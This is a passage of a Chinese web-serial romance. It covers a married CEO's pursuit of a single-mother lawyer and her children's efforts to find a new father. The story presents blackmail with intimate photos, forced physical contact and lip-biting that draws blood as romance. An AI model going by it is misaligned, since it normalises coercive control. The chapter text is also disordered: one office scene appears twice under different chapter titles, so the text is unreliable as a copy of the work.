回过神来后,他发了一条信息。 很快,陈珂上车后汇报:“霍总,酒店已经订好了。” 语落,发动引擎,车开了出去。 乔眠脸色白了白,乖巧放在腿上的小手,一点点抠紧了裤缝。 她实在担心,他会对她做出毫无底线的事情。 想及此,她掏出手机给阮薇发了一条微信。 【阿薇姐,从现在开始,务必每隔半个小时给我打一次电话。】 对方秒回:【什么情况?如果到时候给你打电话不接呢?】 【报警。】 聊完微信后,劳斯莱斯在一家酒店门口停驻。 霍宴北下车后,径直踩上台阶,朝酒店大厅走去。 “乔律师,请下车。” 陈珂打开后车门,催促。 乔眠这才磨蹭着提着公文包下车。 走进大厅,霍宴北已经站在前台等着了。 看到她走过来,朝她伸出一只手,“身份证。” “哦好……” 乔眠从包里取出身份证,递给他。 霍宴北接过身份证,低头看了一眼后,放在吧台上。 随后,陈珂走了过来办理住手续。 拿到房卡后,由工作人员指引,三人乘坐电梯去了顶楼的总统套房。 进入房间后,陈珂没走,她随口问了一句,“陈特助也留下来吗?” 霍宴北意味深长的看着她,“怎么?觉得他碍事的话……” “没有没有。” 乔眠急忙摆手,“陈特助留下来挺好的,工作效率会更高……” 她心里那点小心思,男人看了个门清,并未点破她,直接走进了商务书房。 陈珂已经把需要的文件资料放在了桌案上。 乔眠跟着走进去,把笔记本电脑从包里取出来,放在桌上打开。 她坐下后,就开始忙起了工作。 随后,霍宴北开了一场视频会议。 让乙方小组参与进来,就合同问题讨论了几个点。 她这才明白,来酒店,他确实是要谈工作的。 正商讨问题时,手机响起了振动。 掏出手机一看,是阮薇打来的。 她这才想起来,让阮薇每隔半个小时打电话一事。 她摁了接通键后,又秒挂。 算是回应。 霍宴北看到接电话的小动作时,修长的手指轻轻叩叩桌案,清冷的眼神看了她一眼。 乔眠立马把手机放在桌上,继续埋头工作。 没过一会儿,结束了视频会议,霍宴北再次叩响了桌案,“乔律师,麻烦泡杯茶。” “好……” 乔眠应了一声后,起身,走出了书房。 只是,刚出去,放在桌案上的手机响起了振动。 是阮薇打来的第二次电话。 频繁的振动声引得霍宴北扫过来了一眼,看到是乔眠的手机时,不由得蹙了蹙眉。 陈珂也看到了,但是,没在意。 没过一会儿,乔眠走进来,把新泡的热茶放在霍宴北面前后,回到位置上,根据刚才视频会议上乙方提出的几个问题开始修改合同。 工作起来全神贯注的投入,以至于没看手机,并不知道阮薇打的那通电话。 十多分钟后,门口响起刷卡的声音。 三人听到后,还未反应过来怎么回事时,几个身穿制服的警察冲了进来。 双方看到彼此时,都愣住了。 只有乔眠第一时间明白过来怎么一回事。 悄咪咪的看了一眼手机,看到阮薇的未接电话时,生无可恋的闭了闭眼睛。 “警察同志,怎么回事?” 陈珂起身询问。 为首的警察开口,“我们接到乔眠女士朋友的报案电话,说是乔眠女士有危险,所以,出警调查。” 陈珂听后,一脸懵的看向乔眠。 自始至终稳坐于泰山的霍宴北,看着快把脸埋进桌上的乔眠,脸色沉了沉。 第69章 在床上紧紧拥着她 乔眠听到‘霍沉’这个名字,本就慌乱的心,更慌了。 办公室的门把手转动,随着一声‘小叔’的唤声响起,乔眠心下一乱,躲了起来。 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 第70章 坐在他怀里被喂早餐 翌日。 乔眠醒来的时候已经天光大亮。 许是睡的太久,此时,醒来后,脑子里一片混沌。 整个人都是懵的。 她揉着涨痛的太阳穴,呆坐在床上好一会儿,昨夜发生的事情,像电影似的,在脑海里重映了一遍。 想起霍宴北…… 她摸了摸嘴唇,然后,掀开被子。 还好,衣服还在。 看时间,已经八点。 此时,偌大的卧室里只有她一个人。 乔眠从床上下来,只觉得胸口一片清凉,低头一看,却见身上的毛衣破了一大块。 露出胸口大片肌肤。 是昨晚跟他接吻的过程中,撕扯坏的…… 乔眠捂住胸口,环视整个卧室找她的大衣外套时,注意到单人沙发上放着一个精致的包装袋。 她打开一看,是一套新衣服。 连内衣都有…… 不用想,是霍宴北准备的。 上次已经穿了他给的一套新衣服。 价格很贵。 顶她半年工资了。 这次,再收的话,一年工资都没有了。 她不想欠他的。 于是,把衣服放回去,找到自己的大衣外套穿上后,扣上纽扣,挡住里面皮损的毛衣。 洗漱之后,她走出卧室,来到外间。 原以为霍宴北早就已经走了,没想到,他正坐在沙发上,抱着笔记本电脑,似乎在忙工作。 听到动静,转头看她一眼。 见她身上穿的还是昨天那套衣服时,隐隐蹙了蹙眉,“为什么不穿我给你准备的衣服?” 乔眠站在原地,窘迫的抠着手指,“太贵了,我还不起……” 男人怔了下后,摆手示意她过去。 乔眠迟疑了两秒,抬步走到他面前站定。 男人伸手,握住女人的手腕, 将她拉入怀里,坐在他腿上。 男人有力的双臂,紧紧圈住她的身体,脸颊轻蹭了下她的,“你现在跟我在一起,我给你的东西,都不需要你还,记住了吗?” “霍总……” 乔眠想了想,觉得有必要跟他表明清楚,“我知道,您是觉得我像您的妹妹阿妩,才把我留在身边的。我可以当一个聆听您心事的阿妩,但是,我不能做一个人人唾骂的情人,您可以尊重我吗?” 霍宴北听完她的肺腑之言,掰过她的身体,皱眉看着她,“所以,昨晚你只是假装答应?” 乔眠垂眸,点点头,“昨晚,您威胁我,我实在太害怕,就答应您了……” 男人眼底泛起一丝寒意:“乔眠,你又耍我一次。” 乔眠紧忙摇头:“我只是不想做一个破坏别人婚姻的第三者……” 听来听去,霍宴北明白了她的纠结点,“你介意我已婚?” 乔眠点头,“是……” 男人扬眉,“如果我单身的话,你愿不愿意跟我在一起?” “你明明已经……” “回答我。” 霍宴北低头,在她唇上咬了一口,打断了她。 乔眠脸颊微红,摸了一下被咬痛的嘴唇,垂着眼睫,摇了摇头,“我也不愿意当别人的替身……” 霍宴北气笑了,玩味的捏了捏她的白皙细嫩的小脸,“乔眠,你自己算算有多少把柄在我手里?还敢跟我谈条件?你是觉得我脾气太好,还是觉得,你顶着一张和我妹妹很像的脸,我就不会对你怎么样?” 聊到这里,乔眠知道,事情已经谈崩了。 陷在摆在那里面前的无非只有两条路。 要么豁出去一切,任凭他把两人的亲密照曝光在网上,被千夫所指是一个小三,然后,赔偿律所一大笔违约金,辞掉工作,彻底离开霍氏。 要么待在他身边,当一个委屈求全的替身,还能得到不少钱。 后者,她死都不愿意。 可是,前者,她即便不畏丢掉工作,不惧被骂小三,可是,六十万的违约金,她死都付不起…… 所以,现在的她,就像站在刀山火海之间,无论向前,还是后退,都没有生路…… 见她半天不吭声,男人以为她服软了,打横抱起她,走到餐厅坐下。 餐桌上摆放着两份精致的早点。 霍宴北把她放在座椅上,抚了抚她的长发后,在旁边的椅子上坐下,“吃完饭,把衣服换上,我送你去公司。” 乔眠不胃口,把早餐推到一旁,“我穿上身上这套衣服就行。” 见她仍旧倔强,霍宴北一把将她从座椅上拖拽到自己怀里坐着,语气淡淡的警告:“乔眠,你想反抗我,除非你和我一样足够强大,若不然,你就得乖乖听我的话。” 说罢,拿起勺子,舀了一小勺粥,送到她嘴边,“听话,吃饭。” 乔眠皱眉,别过脸,不肯张嘴。 男人伸手,将她的脸攥了回去,嗓音沉冷:“还要我喂你?” 乔眠猛然想起昨夜被他以吻喂蛋糕的画面,幽怨的瞪他一眼,接过他手里的勺子,“你放我下来,我自己可以吃。” 男人大掌收紧她的腰,“不许讲条件。” 乔眠气恼的咬了咬牙。 只得屈服的坐在他腿上,低着头,乖乖的吃早餐。 见她终于乖了些,霍宴北满意的扬了扬眉。 看着她埋头吃饭的模样,仿佛看到了曾经每次在他面前小心翼翼用餐的阿妩。 霍宴北情不自禁的抚了抚她的脑袋,神情恍惚的唤了一声:“阿妩。” 乔眠喝粥的动作微微一滞,佯装没听见。 她觉得,现在的他,真的像一个疯子、变态。 她真的不懂他,六年前那么嫌弃她,现在又这般发疯给谁看? 吃完饭后,霍宴北执着的将装着衣服的袋子丢到她怀里,“自己换,还是我亲自动手帮你换?” “……” 乔眠有一种想打人,却不敢伸拳头的无力感。 最后,不情不愿的抱着袋子,回卧室换衣服。 等她穿好衣服出来时,霍宴北已经提着公文包,在门口等她了。 看到焕然一新的女人时,眸底闪过一丝幽微的亮色。 一套米色小香风套装,女人温婉内秀的气质衬出几分名媛千金的贵气感。 虽然素颜,但是,皮肤白皙莹润,显得精致的五官格外清纯柔美。 男人喉结微微滑动,抬手扯了一下领带,“过来。” 第71章 霍宴北把她的嘴咬出血了 乔眠走过去,却忽然被男人扣住双肩,推到身后的墙壁上。 没等她反应过来,他低头,在她唇上重重咬了一口。 破皮的地方渗出了鲜血。 乔眠疼得嘤咛一声,气恼的朝他肩上打了一下。 男人粗粝的指腹碾过那处渗血的伤口,岑冷的嗓音里带着一丝警告,“以后不许跟周津南走的太近。” 说到这里,又补了一句,“不,是除我以外男人,都不许亲近,懂?” “疯子。” 乔眠低低骂了一句。 霍宴北听到后,也不生气,揉了揉她的脑袋后,牵住她小手出门。 两人乘坐电梯直达负一停车场。 陈珂早早的等在车前,看到两人走过来时,及时打开了后车门。 上车后,乔眠靠着车窗坐着,拒绝和他有任何交流,掏出手机,给阮薇发微信时,才看到对方在昨夜给她发了好几条语音消息。 她点了转文字。 都是阮薇担心她安不安全的话。 乔眠把昨晚发生的事情一五一十的告诉了她。 阮薇回复:【天呐,霍宴北这个死变态,疯子!这是彻底缠上你了啊!】 乔眠回复了一个生无可恋的表情包后,问了一些孩子们的事情。 聊完微信后,一直沉默的男人,转头看她一眼,“你住的小区环境太差,回头你搬进澜园。” 乔眠直接拒绝,“不用了,我现在住的地方挺习惯的,再说,我的孩子在那附近上幼儿园。” 提及孩子,霍宴北不由得想起那天在海洋馆,撞到的那个软糯糯的小女孩的模样。 他思考了一会儿,说,“你不想去澜园也行,那就搬离城中村,住到市区,我会给你一套公寓,而且给孩子找一个最好的幼儿园。” 乔眠重点抓住最后一句话,不免冷笑,“最好的幼儿园?难道您希望我的孩子和您的女儿待在同一个幼儿园?” 霍宴北脸色僵了一下,皱眉道,“如果你要继续住在贫民窟,随你。” “……” 乔眠心中一刺,眼眶微微泛红。 喉咙里像是堵着什么东西似的,说不出来话。 一时间,两人陷入沉默。 直到劳斯莱斯停在公司负二停车场,两人前后脚从车上下来,也没有说一句话。 最后,一个乘坐专属电梯,一个乘坐员工电梯, 像是陌生人一般,回到了各自的办公室。 “小乔,你怎么来这么晚啊?” 何眉凑过来,瞟见她唇上的伤口,眼睛瞬间亮了起来,“你该不是谈男朋友了吧?” 乔眠心情沉郁,没心思聊天,蔫蔫的摇了摇头,“没有,就是不小心磕到的。” “哦?” 见她没什么精神,何眉没再打扰她,回到自己工位上忙工作了。 临近中午,乔眠把昨晚没修改完的合同修改完成后,发到了霍宴北的工作邮箱中。 中午,何眉和孟白喊她出去吃饭,她推辞了。 一个人趴在办公桌上,情绪烦乱的厉害。 她绞尽脑汁的想,怎样才能逃离霍宴北。 想着想着,脑袋昏昏沉沉的快要睡着时,周津南不知何时走到了她的办公桌前,轻轻叩了叩桌子,“怎么没去吃饭?” 乔眠坐直身体,勉强挤出一抹浅笑,“不饿。” 周津南目光落在她唇上那块破皮的小伤口时,眉心紧了一下,“这个点不吃点东西,下午会饿的,只有吃饱了,才有精神面对一切。” 说罢,他把一份外卖放在她的办公桌上后,抬步回了自己的办公室。 乔眠眼神复杂的望了一眼周津南的办公室。 他说的对,只有吃饱了,养足精神,才能面对一切。 她打开手机,给周津南发了一条微信,【谢谢,下次我请你吃饭。】 收起手机后她打开外卖包装,把餐盒拿出来一看,是她最爱的云吞。 她拿起勺子,不客气的吃了起来。 却未发现,对面半敞的总裁办公室里,准备出门的霍宴北,将刚才周津南和她聊天的一幕看得清清楚楚。 砰一声。 男人摔门离开。 等乔眠抬起头望去时,只捕捉到一抹离去的熟悉背影。 是霍宴北。 不知为何,嘴里的云吞瞬间不香了。 吃了没到一半就吃不下去了。 而周津南那边,心情也很差。 他给一个在银行工作的朋友打电话。 “尽快帮我把理财的那笔钱取出来,我急用。” “现在?” “是。” “现在取的话,可要损失不少呢。” 对方提醒。 “尽快。” 他冷冷回了两个字后,挂了电话。 …… 乔眠浑浑噩噩的熬过一个下午后,盯着时间到六点时,快速拿起包就走了。 唯恐慢走一步,就又回被霍宴北点名加班。 赶到托管班,接到孩子们时,还不到八点。 “妈妈!” 乔慕心欢快的扑进她怀里,甜糯糯的欢声,快要把乔眠的心甜化了。 “妈妈,昨夜你又加班了吗?” 乔眠把女儿抱进怀里,亲了亲她的额头,“想妈妈了吗?” “想,超级想。” 乔眠吧唧一声在她脸颊上啄了一口。 乔慕野仰头,拽了拽她的衣袖问,“妈妈,你昨夜又加班了吗?” “是哦。” 乔眠有些心虚又有些愧疚的捏了捏乔慕野的脸蛋,“作为补偿,明天是周六,妈妈带你们吃自助餐好不好?” 乔慕城撇嘴,“不该省点钱吗?” 乔眠揉了揉儿子的脑袋,“没关系,妈妈刚发了工资。” 说完,领着三个孩子去小超市逛了一圈。 回来路过菜市场,买了一些菜,回到出租路后,就开始在厨房做饭了。 乔慕城和弟弟妹们围坐在一起,刷着婚恋app上关于妈妈的界面。 “哥哥,给妈妈征婚这么多天了,怎么没见妈妈去相亲啊?” 乔慕心问。 “会不会妈妈没收到信息或者电话啊?” 乔慕野猜测。 “应该不会啊。” 乔慕城翻到个人信息一栏,重新核对了一遍手机号,“手机号对着,妈妈没去相亲,那是因为工作太忙了。” 乔慕心忽然想起什么,问道,“对了,哥哥,你到底加上霍叔叔的微信没有啊?” 第72章 孩子们找新的爸爸 乔慕城撅了撅嘴,“上次加了,可是,又被霍叔叔拒绝了。” 乔慕心叹了一口气:“上次我在海洋馆遇到一个叔叔,长得可好看了,真希望我们未来的爸爸长得也那么好看。” 乔慕野拍了下她的脑门:“好看又顶不了饭吃,重点是,妈妈要自己满意才行。” “可是,妈妈都不去相亲,怎么给我们找新爸爸啊?” 弟弟妹妹七嘴八舌的说着,乔慕城安静地抱着手机,再次申请添加‘霍叔叔’为好友。 “你们三个在玩什么呢?” 乔眠端着盘子从厨房出来时,就看到客厅里,三只小脑袋凑在一起,不知道在蛐蛐什么。 听到妈妈的声音,三小只立马起身,站成一排,心虚的绞着手指头。 乔眠见乔慕城手里抱着手机,以为孩子们刚才在玩游戏,也没在意,招呼孩子们过来吃饭。 乔慕城低头,看了一眼手机,发现还没有通过好友申请,撇了撇嘴,把手机揣回了兜里。 饭后,乔眠没有像往常那样出去送外卖。 她陪孩子们做幼儿园老师布置的手抄报,画夜空的星星时,乔慕心忽然瞅着她问:“妈妈,爸爸到底有没有变成天上的星星啊?” 一句话把乔眠问住了。 关于‘爸爸’这个话题,以前孩子们小,每次提及时,她还能哄着敷衍过去。 可现在,孩子们心智渐渐成熟,她也不知道该编什么理由来搪塞。 “乔慕心!” 眼见妈妈一脸忧愁的样子,乔慕城瞪了妹妹一眼,“好端端的非得提渣爹影响心情干嘛?” 乔慕野哼了一声,“就是,不许提渣爹。” 乔慕心被哥哥们凶后,委屈巴巴的蹭到妈妈怀里,“妈妈,爸爸是不是个大坏蛋啊?” 乔眠从孩子们口中听到‘渣爹’、‘大坏蛋’这些称呼时,非常吃惊。 一直以来,她在孩子们面前,避而不谈他们的爸爸,没想到,孩子们对自己爸爸的概念,竟是这么负面的存在。 怪她,没有正确引导孩子们。她和霍宴北之间的纠葛,不该影响到孩子们。 乔眠想了想,把三小只揽进怀里,语重心长的解释,“你们的爸爸不是大坏蛋哦,他只是去了很远的地方,和我们不在一起生活而已。” 乔慕城:“去了很远的地方,是指天堂吗?” 乔慕心失望的啊了一声,“那爸爸还是变成了天上的星星了……” 乔慕野直接拽着乔眠的袖子,问,“妈妈,爸爸是怎么死的?” 乔眠听得惊悚不已,立马耐心解释,“你们的爸爸没有变成星星,他只是离我们生活的很远而已……” 乔慕城:“爸爸既然没死,他为什么不来找我们?” “妈妈,爸爸抛弃了我们,所以,才不来找我们的,对不对?” 孩子们一个个问题,像炸弹一样抛过来。 乔眠有些吃不消,酝酿了好一会儿功夫,才再次开口解释,“爸爸没有抛弃你们,他只是有了属于自己的生活……” 乔慕城心思一转,听明白了意思,“所以,爸爸是娶了别的女人结婚了吗?” 乔慕野问,“那爸爸也有了自己的孩子吗?” 乔慕心一听,晃着妈妈的手,问,“是不是爸爸的孩子们比我们乖,所以,爸爸才不来找我们的,对吗?” 乔眠被问的一时语塞。 越解释越乱。 心里更是难受极了。 孩子们能这么问,可见他们对‘爸爸’这个角色充满了期待。 乔眠心疼的将孩子们搂进怀里,“爸爸有自己的生活,我们不需要他来找我们,妈妈会一直陪着你们的……” 乔慕城仰脸望着她,“既然我们不需要爸爸了,那妈妈什么时候给我们找一个新爸爸?” 乔慕野点头,“是啊,妈妈,我们可以拥有一个新爸爸吗?” “……” 孩子们的心思还真是单纯呐。 上一秒,还在纠结爸爸为什么不来找他们,下一秒,就想要一个新爸爸取而代之。 她无奈笑笑,好奇的问:“那你们想要什么样的新爸爸啊?” 乔慕城:“有钱。” 乔慕野:“暖男。” 乔眠禁不住笑了笑,转而看向女儿。 乔慕心眼睛里闪着星星:“我想要一个像……上次在海洋馆碰到的那个叔叔,他长得好好看哇,我想要那样好看的新爸爸。” “……” 乔眠唇角的笑意一点点敛住。 女儿说的是霍宴北…… 乔眠望着孩子们一张张期待的小脸,安抚地说:“好,新爸爸不是那么好找的,我们需要慢慢找,可以吗?” 说罢,手机提示电量不足,她回了卧室,给手机充电。 乔慕城一脸得意的对弟弟妹妹们眨了眨眼睛,“看吧,妈妈同意了给我们找一个新爸爸了……” 刚说完,手机响了一下。 他低头一看,微信界面弹出一条好友申请通过的提示。 …… 医院。 VIP病房。 霍宴北坐在沙发上,抱着笔记本电脑,正在处理工作上的事宜。 放在旁边的手机响了一下。 他拿起来,点开一看,是一‘不爱吃蛋糕的咸鱼’申请添加他好友。 霍宴北微微一怔。 又是乔眠…… 上次,她主动加他,他拒绝了。 这次,居然又加他…… 这么主动,倒不像她的风格。 平时,她见了他,不是紧张兮兮的,就是一副避之不及的模样。 两次主动加他微信,倒是新鲜。 盯着这条好友申请良久,他点了同意。 来到聊天对话界面,等了一会儿,见对方却始终没有发消息时,沉着脸把手机扔到了一旁。 “宴北。” 这时,宋蔓走过来,在他身旁坐下。 霍宴北收起手机,把笔记本电脑放在茶几上,扭头看着她,“怎么不躺着好好休息?” 宋蔓亲昵的挽住他的胳膊,“我都在医院住了好几天,各项检查都做了一遍,身体已经没什么大碍了,我想出院回家,可以吗?” 霍宴北沉吟两秒,点点头,“好,你要是觉得身体没别的不舒服的话,就出院吧。” “嗯,我的身体,心里有数。” 宋蔓靠在他肩上,“我想女儿了,我们现在就回家,好不好?” 第73章 能不能留下陪我 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第74章 她的女儿和霍宴北女儿起争执 乔慕城和弟弟妹妹们坐在最后一排。 此时,他望了一眼站在公交车前面一段距离的妈妈后,小声跟弟弟妹妹分享最新消息,“霍叔叔很有钱,还未婚哦。” 乔慕心立马问道,“霍叔叔有没有发照片?” 乔慕野也一脸期待的问,“霍叔叔好不好看?” 乔慕城嘘了一声,示意两人小声点后,把照片点开,展示给弟弟妹妹看。 乔慕野看完后,还算满意,“还行吧。” 乔慕心则是失望地叹了一口气,“拥有一个帅爸爸这么难吗?” 乔慕城无语,“你以为在选美吗?” “准备一下,马上下车哦。” 公交车即将靠近站台时,乔眠走过来,招呼道。 乔慕城立马把手机放回身上挎着的小包里。 乔眠抱起乔慕心,乔慕城和乔慕野自觉戴上防丢牵引绳,另一端扣在妈妈手腕上。 就这样,乔眠怀里抱着一小只,牵着两小只,下了公交车。 乔眠带孩子们去了市区最繁华地带的一家商场。 二楼有一个大型儿童淘气堡。 刚回京市那个月,阮薇带着她和孩子们出来玩时,给孩子们办了一张卡。 每次来,都会带孩子们玩上一两个小时。 乔眠给孩子们脱掉鞋子,穿上一次性袜套后,柔声叮嘱:“注意安全哦,妈妈就在外面等你们。” “好——” 